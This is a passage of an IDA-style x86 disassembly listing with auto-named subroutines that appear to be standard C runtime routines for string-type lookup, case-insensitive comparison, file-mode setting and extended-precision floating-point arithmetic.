mov edx, [ebp+var_A4]
push edx
push offset byte_4F367C
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_439780
add esp, 14h
test eax, eax
jnz short loc_438BB0
or eax, 0FFFFFFFFh
jmp loc_438C86
; ---------------------------------------------------------------------------
loc_438BB0: ; CODE XREF: sub_438A00+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_438BD4
; ---------------------------------------------------------------------------
loc_438BC5: ; CODE XREF: sub_438A00:loc_438C7Aj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_438BD4: ; CODE XREF: sub_438A00+1C3j
cmp [ebp+var_A0], 4
jge loc_438C7F
cmp ds:dword_453DF0, 1
jle short loc_438C1B
push 4
mov ecx, [ebp+var_A0]
mov dl, ds:byte_4F367C[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax
call sub_427040
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_438C4E
; ---------------------------------------------------------------------------
loc_438C1B: ; CODE XREF: sub_438A00+1E8j
mov ecx, [ebp+var_A0]
mov dl, ds:byte_4F367C[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_438C4E: ; CODE XREF: sub_438A00+219j
cmp [ebp+var_A8], 0
jz short loc_438C78
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_438C7A
; ---------------------------------------------------------------------------
loc_438C78: ; CODE XREF: sub_438A00+255j
jmp short loc_438C7F
; ---------------------------------------------------------------------------
loc_438C7A: ; CODE XREF: sub_438A00+276j
jmp loc_438BC5
; ---------------------------------------------------------------------------
loc_438C7F: ; CODE XREF: sub_438A00+1DBj
; sub_438A00:loc_438C78j
xor eax, eax
jmp short loc_438C86
; ---------------------------------------------------------------------------
loc_438C83: ; CODE XREF: sub_438A00+16Dj
or eax, 0FFFFFFFFh
loc_438C86: ; CODE XREF: sub_438A00+148j
; sub_438A00+164j ...
mov esp, ebp
pop ebp
retn
sub_438A00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, ds:off_454E18
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438CA0 proc near ; CODE XREF: sub_434A80+216p
; sub_43B770+50p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43E048
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F3688, 0
jnz short loc_438D1E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_43D410
push 1
call ds:dword_4F5304 ; GetStringTypeW
test eax, eax
jz short loc_438CF2
mov ds:dword_4F3688, 1
jmp short loc_438D1E
; ---------------------------------------------------------------------------
loc_438CF2: ; CODE XREF: sub_438CA0+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_43D40C
push 1
push 0
call ds:dword_4F5308 ; GetStringTypeA
test eax, eax
jz short loc_438D17
mov ds:dword_4F3688, 2
jmp short loc_438D1E
; ---------------------------------------------------------------------------
loc_438D17: ; CODE XREF: sub_438CA0+69j
xor eax, eax
jmp loc_438EF9
; ---------------------------------------------------------------------------
loc_438D1E: ; CODE XREF: sub_438CA0+2Dj
; sub_438CA0+50j ...
cmp ds:dword_4F3688, 1
jnz short loc_438D42
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F5304 ; GetStringTypeW
jmp loc_438EF9
; ---------------------------------------------------------------------------
loc_438D42: ; CODE XREF: sub_438CA0+85j
cmp ds:dword_4F3688, 2
jnz loc_438EF7
cmp [ebp+arg_10], 0
jnz short loc_438D5D
mov eax, ds:dword_4F3408
mov [ebp+arg_10], eax
loc_438D5D: ; CODE XREF: sub_438CA0+B3j
push 0
push 0
push 0
push 0
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push 220h
mov eax, [ebp+arg_10]
push eax
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_438D8C
xor eax, eax
jmp loc_438EF9
; ---------------------------------------------------------------------------
loc_438D8C: ; CODE XREF: sub_438CA0+E3j
mov [ebp+var_4], 0
mov eax, [ebp+var_28]
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_28]
push edx
push 0
mov eax, [ebp+var_2C]
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_438DDE
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_438DDE: ; CODE XREF: sub_438CA0+125j
cmp [ebp+var_2C], 0
jnz short loc_438DEB
xor eax, eax
jmp loc_438EF9
; ---------------------------------------------------------------------------
loc_438DEB: ; CODE XREF: sub_438CA0+142j
push 0
push 0
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call ds:dword_4F5450 ; WideCharToMultiByte
test eax, eax
jnz short loc_438E19
xor eax, eax
jmp loc_438EF9
; ---------------------------------------------------------------------------
loc_438E19: ; CODE XREF: sub_438CA0+170j
mov [ebp+var_4], 1
mov eax, [ebp+var_28]
lea eax, [eax+eax+2]
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_438E5D
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_438E5D: ; CODE XREF: sub_438CA0+1A4j
cmp [ebp+var_24], 0
jnz short loc_438E6A
xor eax, eax
jmp loc_438EF9
; ---------------------------------------------------------------------------
loc_438E6A: ; CODE XREF: sub_438CA0+1C1j
cmp [ebp+arg_14], 0
jnz short loc_438E79
mov edx, ds:dword_4F33F8
mov [ebp+arg_14], edx
loc_438E79: ; CODE XREF: sub_438CA0+1CEj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
mov word ptr [ecx+eax*2], 0FFFFh
mov edx, [ebp+arg_8]
mov eax, [ebp+var_24]
mov word ptr [eax+edx*2-2], 0FFFFh
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_14]
push edx
call ds:dword_4F5308 ; GetStringTypeA
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2-2]
cmp edx, 0FFFFh
jz short loc_438ED8
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2]
cmp edx, 0FFFFh
jz short loc_438EDC
loc_438ED8: ; CODE XREF: sub_438CA0+222j
xor eax, eax
jmp short loc_438EF9
; ---------------------------------------------------------------------------
loc_438EDC: ; CODE XREF: sub_438CA0+236j
mov eax, [ebp+arg_8]
shl eax, 1
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_420840
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_438EF9
; ---------------------------------------------------------------------------
loc_438EF7: ; CODE XREF: sub_438CA0+A9j
xor eax, eax
loc_438EF9: ; CODE XREF: sub_438CA0+79j
; sub_438CA0+9Dj ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_438CA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438F10 proc near ; CODE XREF: sub_435200+11Bp
; sub_435200+2D4p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz loc_43900A
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
lea eax, dword_4F33F0
cmp dword ptr [eax+8], 0
jnz short loc_438F81
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_438F3C: ; CODE XREF: sub_438F10+53j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_438F65
or al, al
jz short loc_438F65
inc esi
inc edi
cmp ah, bh
jb short loc_438F54
cmp ah, bl
ja short loc_438F54
add ah, dh
loc_438F54: ; CODE XREF: sub_438F10+3Cj
; sub_438F10+40j
cmp al, bh
jb short loc_438F5E
cmp al, bl
ja short loc_438F5E
add al, dh
loc_438F5E: ; CODE XREF: sub_438F10+46j
; sub_438F10+4Aj
cmp ah, al
jnz short loc_438F6F
dec ecx
jnz short loc_438F3C
loc_438F65: ; CODE XREF: sub_438F10+32j
; sub_438F10+36j
xor ecx, ecx
cmp ah, al
jz loc_43900A
loc_438F6F: ; CODE XREF: sub_438F10+50j
mov ecx, 0FFFFFFFFh
jb loc_43900A
neg ecx
jmp loc_43900A
; ---------------------------------------------------------------------------
loc_438F81: ; CODE XREF: sub_438F10+21j
lock inc ds:dword_4F37C8
cmp ds:dword_4F37C4, 0
jg short loc_438F95
push 0
jmp short loc_438FAE
; ---------------------------------------------------------------------------
loc_438F95: ; CODE XREF: sub_438F10+7Fj
lock dec ds:dword_4F37C8
mov ebx, ecx
push 13h
call sub_423280
mov [esp+10h+var_10], 1
mov ecx, ebx
loc_438FAE: ; CODE XREF: sub_438F10+83j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_438FB4: ; CODE XREF: sub_438F10+CDj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_438FDF
or ebx, ebx
jz short loc_438FDF
inc esi
inc edi
push ecx
push eax
push ebx
call sub_421D30
mov ebx, eax
add esp, 4
call sub_421D30
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_438FE5
dec ecx
jnz short loc_438FB4
loc_438FDF: ; CODE XREF: sub_438F10+AAj
; sub_438F10+AEj
xor ecx, ecx
cmp eax, ebx
jz short loc_438FEE
loc_438FE5: ; CODE XREF: sub_438F10+CAj
mov ecx, 0FFFFFFFFh
jb short loc_438FEE
neg ecx
loc_438FEE: ; CODE XREF: sub_438F10+D3j
; sub_438F10+DAj
pop eax
or eax, eax
jnz short loc_438FFC
lock dec ds:dword_4F37C8
jmp short loc_43900A
; ---------------------------------------------------------------------------
loc_438FFC: ; CODE XREF: sub_438F10+E1j
mov ebx, ecx
push 13h
call sub_423320
add esp, 4
mov ecx, ebx
loc_43900A: ; CODE XREF: sub_438F10+Bj
; sub_438F10+59j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_438F10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, ds:dword_4F37C0
jnb short loc_439051
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_439061
loc_439051: ; CODE XREF: _0:0043902Dj
call sub_429A90
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_43908F
; ---------------------------------------------------------------------------
loc_439061: ; CODE XREF: _0:0043904Fj
mov edx, [ebp+8]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4390A0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_431100
add esp, 4
mov eax, [ebp-4]
loc_43908F: ; CODE XREF: _0:0043905Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4390A0 proc near ; CODE XREF: sub_435EC0+D4p
; sub_435EC0+1A6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 8000h
jnz short loc_439109
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
mov cl, [eax+edx+4]
and cl, 7Fh
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, ds:dword_4F36C0[edx*4]
mov [edx+eax+4], cl
jmp short loc_43915A
; ---------------------------------------------------------------------------
loc_439109: ; CODE XREF: sub_4390A0+2Ej
cmp [ebp+arg_4], 4000h
jnz short loc_43914A
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov al, [edx+ecx+4]
or al, 80h
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, ds:dword_4F36C0[ecx*4]
mov [ecx+edx+4], al
jmp short loc_43915A
; ---------------------------------------------------------------------------
loc_43914A: ; CODE XREF: sub_4390A0+70j
call sub_429A90
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_43916B
; ---------------------------------------------------------------------------
loc_43915A: ; CODE XREF: sub_4390A0+67j
; sub_4390A0+A8j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, 8000h
loc_43916B: ; CODE XREF: sub_4390A0+B8j
mov esp, ebp
pop ebp
retn
sub_4390A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439170 proc near ; CODE XREF: sub_436F70+2B5p
; sub_4395B0+B5p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov word ptr [ebp+var_2C], 0
mov [ebp+var_4], 0
mov [ebp+var_14], 0
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov cx, [eax+0Ah]
mov word ptr [ebp+var_18], cx
mov edx, [ebp+arg_4]
mov ax, [edx+0Ah]
mov word ptr [ebp+var_20], ax
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
mov edx, [ebp+var_20]
and edx, 0FFFFh
xor ecx, edx
and ecx, 8000h
mov word ptr [ebp+var_2C], cx
mov ax, word ptr [ebp+var_18]
and ax, 7FFFh
mov word ptr [ebp+var_18], ax
mov cx, word ptr [ebp+var_20]
and cx, 7FFFh
mov word ptr [ebp+var_20], cx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_20]
and eax, 0FFFFh
add edx, eax
mov word ptr [ebp+var_30], dx
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jge short loc_43922D
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 7FFFh
jge short loc_43922D
mov eax, [ebp+var_30]
and eax, 0FFFFh
cmp eax, 0BFFDh
jle short loc_439264
loc_43922D: ; CODE XREF: sub_439170+9Bj
; sub_439170+ACj
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
neg ecx
sbb ecx, ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_4395A9
; ---------------------------------------------------------------------------
loc_439264: ; CODE XREF: sub_439170+BBj
mov edx, [ebp+var_30]
and edx, 0FFFFh
cmp edx, 3FBFh
jg short loc_439297
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_4395A9
; ---------------------------------------------------------------------------
loc_439297: ; CODE XREF: sub_439170+103j
mov eax, [ebp+var_18]
and eax, 0FFFFh
test eax, eax
jnz short loc_4392DD
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and eax, 7FFFFFFFh
test eax, eax
jnz short loc_4392DD
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4392DD
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0
jnz short loc_4392DD
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
jmp loc_4395A9
; ---------------------------------------------------------------------------
loc_4392DD: ; CODE XREF: sub_439170+131j
; sub_439170+14Cj ...
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
test ecx, ecx
jnz short loc_439339
mov dx, word ptr [ebp+var_30]
add dx, 1
mov word ptr [ebp+var_30], dx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
and ecx, 7FFFFFFFh
test ecx, ecx
jnz short loc_439339
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jnz short loc_439339
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_439339
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
jmp loc_4395A9
; ---------------------------------------------------------------------------
loc_439339: ; CODE XREF: sub_439170+178j
; sub_439170+194j ...
mov [ebp+var_28], 0
mov [ebp+var_1C], 0
jmp short loc_439352
; ---------------------------------------------------------------------------
loc_439349: ; CODE XREF: sub_439170+29Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_439352: ; CODE XREF: sub_439170+1D7j
cmp [ebp+var_1C], 5
jge loc_439411
mov edx, [ebp+var_1C]
shl edx, 1
mov [ebp+var_24], edx
mov [ebp+var_8], 8
mov eax, 5
sub eax, [ebp+var_1C]
mov [ebp+var_34], eax
jmp short loc_439381
; ---------------------------------------------------------------------------
loc_439378: ; CODE XREF: sub_439170+28Ej
mov ecx, [ebp+var_34]
sub ecx, 1
mov [ebp+var_34], ecx
loc_439381: ; CODE XREF: sub_439170+206j
cmp [ebp+var_34], 0
jle short loc_439403
mov edx, [ebp+arg_0]
add edx, [ebp+var_24]
mov [ebp+var_38], edx
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
lea edx, [ebp+ecx+var_14]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
xor ecx, ecx
mov cx, [eax]
mov edx, [ebp+var_3C]
xor eax, eax
mov ax, [edx]
imul ecx, eax
mov [ebp+var_44], ecx
mov ecx, [ebp+var_40]
push ecx
mov edx, [ebp+var_44]
push edx
mov eax, [ebp+var_40]
mov ecx, [eax]
push ecx
call sub_4360F0
add esp, 0Ch
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_4393EC
mov edx, [ebp+var_28]
mov ax, word ptr [ebp+edx+var_10]
add ax, 1
mov ecx, [ebp+var_28]
mov word ptr [ebp+ecx+var_10], ax
loc_4393EC: ; CODE XREF: sub_439170+266j
mov edx, [ebp+var_24]
add edx, 2
mov [ebp+var_24], edx
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
jmp loc_439378
; ---------------------------------------------------------------------------
loc_439403: ; CODE XREF: sub_439170+215j
mov ecx, [ebp+var_28]
add ecx, 2
mov [ebp+var_28], ecx
jmp loc_439349
; ---------------------------------------------------------------------------
loc_439411: ; CODE XREF: sub_439170+1E6j
mov dx, word ptr [ebp+var_30]
sub dx, 3FFEh
mov word ptr [ebp+var_30], dx
loc_43941E: ; CODE XREF: sub_439170+2DBj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jle short loc_43944D
mov ecx, [ebp+var_C]
and ecx, 80000000h
test ecx, ecx
jnz short loc_43944D
lea edx, [ebp+var_14]
push edx
call sub_4361E0
add esp, 4
mov ax, word ptr [ebp+var_30]
sub ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_43941E
; ---------------------------------------------------------------------------
loc_43944D: ; CODE XREF: sub_439170+2B4j
; sub_439170+2C1j
movsx ecx, word ptr [ebp+var_30]
test ecx, ecx
jg short loc_4394AD
mov dx, word ptr [ebp+var_30]
sub dx, 1
mov word ptr [ebp+var_30], dx
loc_439461: ; CODE XREF: sub_439170+32Aj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jge short loc_43949C
mov ecx, [ebp+var_14]
and ecx, 0FFFFh
and ecx, 1
test ecx, ecx
jz short loc_439482
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_439482: ; CODE XREF: sub_439170+307j
lea eax, [ebp+var_14]
push eax
call sub_436240
add esp, 4
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
jmp short loc_439461
; ---------------------------------------------------------------------------
loc_43949C: ; CODE XREF: sub_439170+2F7j
cmp [ebp+var_4], 0
jz short loc_4394AD
mov dx, word ptr [ebp+var_14]
or dl, 1
mov word ptr [ebp+var_14], dx
loc_4394AD: ; CODE XREF: sub_439170+2E3j
; sub_439170+330j
mov eax, [ebp+var_14]
and eax, 0FFFFh
cmp eax, 8000h
jg short loc_4394CD
mov ecx, [ebp+var_14]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_43952E
loc_4394CD: ; CODE XREF: sub_439170+34Aj
cmp [ebp+var_14+2], 0FFFFFFFFh
jnz short loc_439525
mov [ebp+var_14+2], 0
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_43951A
mov [ebp+var_10+2], 0
mov edx, [ebp+var_C+2]
and edx, 0FFFFh
cmp edx, 0FFFFh
jnz short loc_43950C
mov word ptr [ebp+var_C+2], 8000h
mov ax, word ptr [ebp+var_30]
add ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_439518
; ---------------------------------------------------------------------------
loc_43950C: ; CODE XREF: sub_439170+386j
mov cx, word ptr [ebp+var_C+2]
add cx, 1
mov word ptr [ebp+var_C+2], cx
loc_439518: ; CODE XREF: sub_439170+39Aj
jmp short loc_439523
; ---------------------------------------------------------------------------
loc_43951A: ; CODE XREF: sub_439170+36Ej
mov edx, [ebp+var_10+2]
add edx, 1
mov [ebp+var_10+2], edx
loc_439523: ; CODE XREF: sub_439170:loc_439518j
jmp short loc_43952E
; ---------------------------------------------------------------------------
loc_439525: ; CODE XREF: sub_439170+361j
mov eax, [ebp+var_14+2]
add eax, 1
mov [ebp+var_14+2], eax
loc_43952E: ; CODE XREF: sub_439170+35Bj
; sub_439170:loc_439523j
mov ecx, [ebp+var_30]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jl short loc_439573
mov edx, [ebp+var_2C]
and edx, 0FFFFh
neg edx
sbb edx, edx
and edx, 80000000h
add edx, 7FFF8000h
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp short loc_4395A9
; ---------------------------------------------------------------------------
loc_439573: ; CODE XREF: sub_439170+3CDj
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+var_14+2]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+6], edx
mov eax, [ebp+var_30]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
loc_4395A9: ; CODE XREF: sub_439170+EFj
; sub_439170+122j ...
mov esp, ebp
pop ebp
retn
sub_439170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4395B0 proc near ; CODE XREF: sub_4363F0+914p
; sub_436F70+288p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, offset dword_454E20
sub eax, 60h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 0
jnz short loc_4395CC
jmp loc_43966F
; ---------------------------------------------------------------------------
loc_4395CC: ; CODE XREF: sub_4395B0+15j
cmp [ebp+arg_4], 0
jge short loc_4395E5
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, offset dword_454F80
sub edx, 60h
mov [ebp+var_4], edx
loc_4395E5: ; CODE XREF: sub_4395B0+20j
cmp [ebp+arg_8], 0
jnz short loc_4395F3
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_4395F3: ; CODE XREF: sub_4395B0+39j
; sub_4395B0+6Aj ...
cmp [ebp+arg_4], 0
jz short loc_43966F
mov ecx, [ebp+var_4]
add ecx, 54h
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
and edx, 7
mov [ebp+var_18], edx
mov eax, [ebp+arg_4]
sar eax, 3
mov [ebp+arg_4], eax
cmp [ebp+var_18], 0
jnz short loc_43961C
jmp short loc_4395F3
; ---------------------------------------------------------------------------
loc_43961C: ; CODE XREF: sub_4395B0+68j
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 8000h
jl short loc_43965D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [edx+4]
mov [ebp+var_10], ecx
mov edx, [edx+8]
mov [ebp+var_C], edx
mov eax, [ebp+var_14+2]
sub eax, 1
mov [ebp+var_14+2], eax
lea ecx, [ebp+var_14]
mov [ebp+var_8], ecx
loc_43965D: ; CODE XREF: sub_4395B0+88j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_439170
add esp, 8
jmp short loc_4395F3
; ---------------------------------------------------------------------------
loc_43966F: ; CODE XREF: sub_4395B0+17j
; sub_4395B0+47j
mov esp, ebp
pop ebp
retn
sub_4395B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439680 proc near ; CODE XREF: sub_4374C0+9Bp
; sub_43A200+2Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
jnz short loc_43968E
xor eax, eax
jmp short loc_4396CB
; ---------------------------------------------------------------------------
loc_43968E: ; CODE XREF: sub_439680+8j
mov eax, ds:dword_4F37CC
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 1
mov edx, ds:dword_4F39E4
push edx
call sub_439AD0
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4396C5
mov eax, 7FFFFFFFh
jmp short loc_4396CB
; ---------------------------------------------------------------------------
loc_4396C5: ; CODE XREF: sub_439680+3Cj
mov eax, [ebp+var_4]
sub eax, 2
